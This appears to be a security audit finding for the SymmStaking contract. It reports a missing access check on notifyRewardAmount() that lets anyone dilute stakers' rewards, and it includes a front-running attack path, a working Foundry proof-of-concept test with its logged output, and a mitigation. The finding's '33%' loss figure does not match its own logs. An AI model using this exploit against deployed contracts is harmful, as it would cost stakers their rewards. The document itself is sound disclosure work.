Round Strawberry Goose

Medium

# Arbitrary Parties Can Dilute the Staking Rewards Due to a Missing Access Control

### Summary

Anyone can call [`notifyRewardAmount()`](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L275) with very tiny amounts to dilute the reward state rate.

### Root Cause

Inside the function `notifyRewardAmount()` of the `SymmStaking.sol`, the function `_addRewardsForToken()` is called:

```Solidity
	function _addRewardsForToken(address token, uint256 amount) internal {
		TokenRewardState storage state = rewardState[token];

		if (block.timestamp >= state.periodFinish) {
			state.rate = amount / state.duration;
		} else {
			uint256 remaining = state.periodFinish - block.timestamp;
			uint256 leftover = remaining * state.rate;
			state.rate = (amount + leftover) / state.duration;
		}

		state.lastUpdated = block.timestamp;
		state.periodFinish = block.timestamp + state.duration;
	}
```
https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L366-L379

As it can be seen from the code, if the `amount = 1` or other tiny amounts, the leftover will be divided by the whole `state.duration`. This is feasible as the `notifyRewardAmount()` lacks an access control and everyone can call this function.

### Internal Pre-conditions

1. The calling time must be inside the period duration and the period finish is not been reached yet.

### External Pre-conditions

1. The function `notifyRewardAmount()` should be called with amount 0

### Attack Path

1. Alice stakes some tokens.
2. Admin adds some rewards via `notifyRewardAmount()`.
3. Alice decides to claim her rewards after some time inside the current period duration.
4. Bob calls `notifyRewardAmount()` with just `amount = 1` and front runs Alice's tx.
5. Alice's rewards got diluted and she will receive less reward than expected.

### Impact

Dilution of staking rewards (reward loss) and making the whole process extremely slow.

### PoC

```Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import "../contracts/staking/SymmStaking.sol";
import "../contracts/token/symm.sol";
import "@openzeppelin/contracts-upgradeable/mocks/token/ERC20MockUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/mocks/token/ERC20DecimalsMockUpgradeable.sol";


contract StakingTest is Test {

    address private admin = makeAddr("Admin");
    ERC20MockUpgradeable rewardToken1;
    ERC20MockUpgradeable rewardToken2;
    SymmStaking staking;
    Symmio token;

    function setUp() public {

        token = new Symmio("Symmio", "SYMM", admin);

        rewardToken1 = new ERC20MockUpgradeable();
        rewardToken2 = new ERC20MockUpgradeable();
        rewardToken1.mint(admin, 1e24);
        rewardToken2.mint(admin, 1e24);

        vm.startPrank(admin);
        staking = new SymmStaking();
        staking.initialize(admin, address(token));
        staking.configureRewardToken(address(rewardToken1), true);
        staking.configureRewardToken(address(rewardToken2), true);
        rewardToken1.approve(address(staking), type(uint256).max);
        rewardToken2.approve(address(staking), type(uint256).max);
        vm.stopPrank();
    }

    function testRewardDilution() public {

        address alice = vm.addr(0x1002);
        deal(address(token), alice, 1e18);

        address bob = vm.addr(0x1003);
        deal(address(rewardToken1), bob, 1e18);

        vm.prank(bob);
        rewardToken1.approve(address(staking), type(uint256).max);

        address[] memory rewardTokens = new address[](1);
        rewardTokens[0] = address(rewardToken1);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 3000e18;
        vm.prank(admin);
        staking.notifyRewardAmount(rewardTokens, amounts);

        vm.startPrank(alice);
        token.approve(address(staking), type(uint256).max);
        staking.deposit(1e18, alice);
        vm.stopPrank();

        uint rewardsDuration = 1 weeks;
        vm.warp(block.timestamp + rewardsDuration / 2);
        uint256 earned = staking.earned(alice, address(rewardToken1));
        console.log('Earned: ', earned); // We skiped 3.5 days, so the earned amount is around 1500

        vm.startPrank(bob);
        amounts[0] = 1;
        staking.notifyRewardAmount(rewardTokens, amounts);
        vm.stopPrank();

        vm.warp(block.timestamp + rewardsDuration / 2); 
        earned = staking.earned(alice, address(rewardToken1));
        console.log('Earned: ', earned); // After another 3.5 days the earned rewards must be around 3000, however they are ~2200 because of the depositRewards() call.
    }
}
```

The result is:

```Markdown
Ran 1 test for test/StakingTest.t.sol:StakingTest
[PASS] testRewardDilution() (gas: 632286)
Logs:
  Earned:  1499999999999999904000
  Earned:  2249999999999999856000
```

As it can be seen from the test, Alice's reward should be around 3000, however it is diluted to around 2250. This imposes a 33% reward loss.

### Mitigation

The function `notifyRewardAmount()` should be called only by authorized parties or the amounts must have a minimum deposit threshold depending to each reward token.